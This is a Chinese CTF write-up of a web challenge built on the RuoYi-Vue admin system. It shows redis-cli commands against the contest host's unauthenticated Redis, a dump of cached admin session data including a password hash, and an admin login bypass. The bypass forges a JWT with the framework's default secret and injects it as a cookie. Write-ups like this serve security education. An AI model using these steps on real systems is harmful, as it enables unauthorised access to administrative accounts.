-
-
2021KCTF 春季赛 Q3 马后炮
-
发表于: 2021-5-15 03:27 7361
-
看雪.深信服 2021KCTF 春季赛 第三题 统一门派
题目描述:
一道 Web 题,访问链接: http://121.36.145.157/
利用技术绕过限制,登陆后台获得 flag 的值。
注意:第一次打开时,网站提示“正在加载系统资源,请耐心等待”,时间有些长,估计要2-3分钟,第二次就正常了,请耐心等待。
打开界面可知是采用“若依管理系统”搭建的一个默认网站,查看若依的官方文档可知:
这道题目需要一定的 Java 项目经验,需要分析开源项目代码。
克隆项目代码:
环境部署要求:
项目使用 Maven 项目管理工具,需要安装它并在工程根目录下执行编译、打包命令:
编译器会按子项目依赖关系逐次编译子项目,最后打包生成 ruoyi-admin.jar 后端程序。
打开项目后端 ruoyi-admin 运行 com.ruoyi.RuoYiApplication.java,后端运行成功可以访问 http://localhost:8080 但是不会出现静态页面,可以继续参考下面步骤部署 ruoyi-ui 前端,然后通过前端地址来访问。
项目提供的启动脚本 ry.sh 是 Linux 环境下使用的,在 Windows 系统上,可以执行以下命令启动,忽略 JVM 参数配置:
启动前,需要安装好 MySQL 数据服务及 Redis 服务,分别使用默认 3306/6379 端口。
创建 MySQL 数据库 ry-vue
并导入数据脚本 ry_2021xxxx.sql,quartz.sql,注意数据库名字使用了连字符:
脚本执行有两种方式,一种是使用 source 读入文件,另一种是在命令行中使得管道,将脚本一行行导入执行:
注意修改 ruoyi-admin\target\classes\application-druid.yml 配置文件中的 MySQL 账户及密码,注意,配置在 JAR 打包后修改可能无法生效。因为 Maven 打包时会将配置文件一并打包到 BOOT-INF 内,可以使用 WinRAR 覆盖配置文件。
或者使用 jar 命令解包配置文件,更新后再打包回去:
安装 Nginx 并配置前端静态文件和后端 API 服务,根据 ruoyi-ui 编译设置 prod-api 或 stage-api,另外不要随便设置 NGINX 环境变量:
成功配置后端可以尝试访问:
默认控制台管理用户名和密码 admin/admin123,本地配置登录成功后却出现一个异常,导致 UI 不能进入管理界面:
可以登录试用的站点 http://vue.ruoyi.vip/login 研究接口。
从使用体验来看,这个项目并不人性化,需要相当专业的人员进行配置才能正常运行。Spring Boot 是一款开箱即用框架,提供各种默认配置来简化项目配置,但是到了 Rouyi 却变得相当复杂的配置。
阅读部署文档,发现目标正好开启了 Redis 6379 端口,并且可以未授权访问。大概了解一下若依的登录逻辑可知,它的用户信息是缓存在 redis 中的,并且通过 JWT 进行认证。
自己搭建一个环境登录 admin 账号后通过 Redis 命令 keys *
可查询到一个 login_tokens,目标主机上也有一个:
这个 TokenKey 应该关联存储了用户的信息,尝试使用 get 查询关联的数据,为了方便观察,以下直接展示 JSON 数据重要部分:
以上 JSON 数据对应了一个 LoginUser.java
模型对象。
可以在 ruoyi-common 依赖项目中找到这个常量定义,Redis 保存的这个 Key 字符串就是 TokenKey,它包含:
再根据引用找到 TokenService.java 和 SysLoginService.java 这两个代码文件,它们负责 TokenKey 的读取和生成,包括登录验证。
代码分析:
登陆成功后会在 Redis 里写入包含 UUID 的 TokenKey -> 当前用户信息,鉴权时服务器验证机制从 Authorization 获取 Token,而不是 Admin-Token,取出 JWT Token,然后取出 UUID,然后取出用户信息。
从代码可以看到 LOGIN_USER_KEY
即 login_user_key 会放入 JWT 的 Payload 中传递给客户端,并且它也是 TokenKey 的后缀。
所以只要在本地搭建一个环境,登录成功后,将本地的 TokenKey 通过目标主机后门写入 Redis 数据库,然后中在浏览器中通过脚本修改 Cookie,将本地的 获取到的 Admin-Token 写入。这样就伪造了一个 admin 用户已经登陆的 redis key + 浏览器 cookie。
去官网的演示站里面登录一下,提取 Admin-token 并 Base64 解码 JWT,可以得到以下两组数据:
步骤:
另一个方法是使用 JWT 签名验证算法生成 Token,先随机生成一个 Token 写入后台,然后将生成的 Token 结合源码默认 secret 密钥计算得到一个 JWT 的签名用于进行网站访问,如果 application.yml 配置使用的 secret 是默认值就可以绕过登录了。
生成 Token 后,通过控制台执行脚本修改 cookei,然后再将页面地址修改到登录的首页 http://121.36.145.157/index:
获取首页显示的 CTF flag:2435_ert3_Wee
,FLAG提交格式为 flag{***}
,完成任务。其实出题战队未注意 FLAG 在 Webpack 打包时没有清理,所以通过静态脚本文件也可以找到,真是大意了!
出题战队说明:
这道题并非我刻意制造,若依作为一款使用很广的管理系统,本身的认证逻辑就是这样的,我只是让 Redis 外网可以访问,而且设置了弱口令,其他没做修改,这在实战中还是可能遇到的,其实不只是若依,所有用了 JWT 的系统都可能用的这套逻辑,在实战中可以通过设置比较强的 JWT 秘钥解决这个问题,本题的问题是在于没有修改 JWT 的默认秘钥。我们是通过观察推理的方法解决了这道题,实际上是不严谨的,但是对于比赛时间有限不失为最好的方法。有兴趣的同学可以下载若依的源代码看看,就知道整个事情的来龙去脉了,若依这一套框架体系用到了目前比较主流的开发框架,值得研究。
最后,工具代码展示:
全 Maven 创建模板工程 maven-archetype-quickstart,执行以下命令,从提示列表中选择:
选好原型 Maven 还会询问项目细节,按要求输入项目细节。
完成后,编译运行,参数传入后台 Redis 数据库中已经设置的 UUID:
配置文件 pom.xml 参考:
git clone https:
/
/
gitee.com
/
y_project
/
RuoYi
-
Vue.git
git clone https:
/
/
gitee.com
/
y_project
/
RuoYi
-
Vue.git
set
AppName
=
ruoyi
-
admin.jar
set
AppPath
=
ruoyi
-
admin
/
target
/
ruoyi
-
admin.jar
set
JVM_OPTS
=
"-Dname=$AppName -Duser.timezone=Asia/Shanghai -Xms512M -Xmx512M -XX:PermSize=256M -XX:MaxPermSize=512M -XX:+HeapDumpOnOutOfMemoryError -XX:+PrintGCDateStamps -XX:+PrintGCDetails -XX:NewRatio=1 -XX:SurvivorRatio=30 -XX:+UseParallelGC -XX:+UseParallelOldGC"
java
-
jar
%
JVM_OPTS
%
%
AppPath
%
set
AppName
=
ruoyi
-
admin.jar
set
AppPath
=
ruoyi
-
admin
/
target
/
ruoyi
-
admin.jar
set
JVM_OPTS
=
"-Dname=$AppName -Duser.timezone=Asia/Shanghai -Xms512M -Xmx512M -XX:PermSize=256M -XX:MaxPermSize=512M -XX:+HeapDumpOnOutOfMemoryError -XX:+PrintGCDateStamps -XX:+PrintGCDetails -XX:NewRatio=1 -XX:SurvivorRatio=30 -XX:+UseParallelGC -XX:+UseParallelOldGC"
java
-
jar
%
JVM_OPTS
%
%
AppPath
%
create database `ry
-
vue`;
create database `ry
-
vue`;
mysql> source path\to\file_name.sql
mysql> \. path\to\file_name.sql
mysql> source path\to\file_name.sql
mysql> \. path\to\file_name.sql
jar
-
xf ruoyi
-
admin.jar BOOT
-
INF\classes\application
-
druid.yml
jar
-
uf ruoyi
-
admin.jar BOOT
-
INF\classes\application
-
druid.yml
jar
-
xf ruoyi
-
admin.jar BOOT
-
INF\classes\application
-
druid.yml
jar
-
uf ruoyi
-
admin.jar BOOT
-
INF\classes\application
-
druid.yml
location
/
{
root
/
home
/
ruoyi
/
projects
/
ruoyi
-
ui;
try_files $uri $uri
/
/
index.html;
index index.html index.htm;
}
location
/
prod
-
api
/
{
proxy_set_header Host $http_host;
proxy_set_header X
-
Real
-
IP $remote_addr;
proxy_set_header REMOTE
-
HOST $remote_addr;
proxy_set_header X
-
Forwarded
-
For $proxy_add_x_forwarded_for;
proxy_pass http:
/
/
localhost:
8080
/
;
}
location
/
{
root
/
home
/
ruoyi
/
projects
/
ruoyi
-
ui;
try_files $uri $uri
/
/
index.html;
index index.html index.htm;
}
location
/
prod
-
api
/
{
proxy_set_header Host $http_host;
proxy_set_header X
-
Real
-
IP $remote_addr;
proxy_set_header REMOTE
-
HOST $remote_addr;
proxy_set_header X
-
Forwarded
-
For $proxy_add_x_forwarded_for;
proxy_pass http:
/
/
localhost:
8080
/
;
}
>curl http:
/
/
localhost:
8080
{
"msg"
:
"请求访问:/,认证失败,无法访问系统资源"
,
"code"
:
401
}
>curl http:
/
/
localhost:
8080
{
"msg"
:
"请求访问:/,认证失败,无法访问系统资源"
,
"code"
:
401
}
java.lang.NoClassDefFoundError: javax
/
xml
/
bind
/
DatatypeConverter
java.lang.NoClassDefFoundError: javax
/
xml
/
bind
/
DatatypeConverter
$ redis
-
cli
-
h
121.36
.
145.157
121.36
.
145.157
:
6379
> keys
(error) ERR wrong number of arguments
for
'keys'
command
121.36
.
145.157
:
6379
> keys
*
1
)
"login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333"
121.36
.
145.157
:
6379
>
$ redis
-
cli
-
h
121.36
.
145.157
121.36
.
145.157
:
6379
> keys
(error) ERR wrong number of arguments
for
'keys'
command
121.36
.
145.157
:
6379
> keys
*
1
)
"login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333"
121.36
.
145.157
:
6379
>
# 121.36.145.157:6379> get "login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333"
{
"password"
:
"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG"
,
"permissions"
:
Set
[
"*:*:*"
],
"token"
:
"07aaf192-ca8f-4db7-a6a2-ee81dbf07d58"
,
"user"
:{
"admin"
:true,
"password"
:
"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG"
,
"roles"
:[
{
"admin"
:true,
"dataScope"
:
"1"
,
"deptCheckStrictly"
:false,
"flag"
:false,
"menuCheckStrictly"
:false,
"params"
:{
"@type"
:
"java.util.HashMap"
},
"roleId"
:
1
,
"roleKey"
:
"admin"
,
"roleName"
:
"\xe8\xb6\x85\xe7\xba\xa7\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98"
,
"roleSort"
:
"1"
,
"status"
:
"0"
}
],
"sex"
:
"1"
,
"status"
:
"0"
,
"userId"
:
1
,
"userName"
:
"admin"
},
"username"
:
"admin"
}
# 121.36.145.157:6379> get "login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333"
{
"password"
:
"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG"
,
"permissions"
:
Set
[
"*:*:*"
],
"token"
:
"07aaf192-ca8f-4db7-a6a2-ee81dbf07d58"
,
"user"
:{
"admin"
:true,
"password"
:
"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG"
,
"roles"
:[
{
"admin"
:true,
"dataScope"
:
"1"
,
"deptCheckStrictly"
:false,
"flag"
:false,
"menuCheckStrictly"
:false,
"params"
:{
"@type"
:
"java.util.HashMap"
},
"roleId"
:
1
,
"roleKey"
:
"admin"
,
"roleName"
:
"\xe8\xb6\x85\xe7\xba\xa7\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98"
,
"roleSort"
:
"1"
,
"status"
:
"0"
}
],
"sex"
:
"1"
,
"status"
:
"0"
,
"userId"
:
1
,
"userName"
:
"admin"
},
"username"
:
"admin"
}
public LoginUser getLoginUser(HttpServletRequest request)
{
/
/
获取请求携带的令牌
String token
=
getToken(request);
if
(StringUtils.isNotEmpty(token))
{
Claims claims
=
parseToken(token);
/
/
解析对应的权限以及用户信息
String uuid
=
(String) claims.get(Constants.LOGIN_USER_KEY);
String userKey
=
getTokenKey(uuid);
LoginUser user
=
redisCache.getCacheObject(userKey);
return
user;
}
return
null;
}
public LoginUser getLoginUser(HttpServletRequest request)
{
/
/
获取请求携带的令牌
String token
=
getToken(request);
if
(StringUtils.isNotEmpty(token))
{
Claims claims
=
parseToken(token);
/
/
解析对应的权限以及用户信息
String uuid
=
(String) claims.get(Constants.LOGIN_USER_KEY);
String userKey
=
getTokenKey(uuid);
LoginUser user
=
redisCache.getCacheObject(userKey);
return
user;
}
return
null;
}
{
"alg"
:
"HS512"
}
{
"login_user_key"
:
"e8b214c6-997a-4769-a5fe-ec45c863203c"
}
{
"alg"
:
"HS512"
}
{
"login_user_key"
:
"e8b214c6-997a-4769-a5fe-ec45c863203c"
}
# token配置
token:
# 令牌自定义标识
header: Authorization
# 令牌密钥
secret: abcdefghijklmnopqrstuvwxyz
# 令牌有效期(默认30分钟)
expireTime:
30
# token配置
token:
# 令牌自定义标识
header: Authorization
# 令牌密钥
secret: abcdefghijklmnopqrstuvwxyz
# 令牌有效期(默认30分钟)
expireTime:
30
document.cookie
=
"Admin-Token=eyJh...."
;
document.cookie
=
"Admin-Token=eyJh...."
;
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!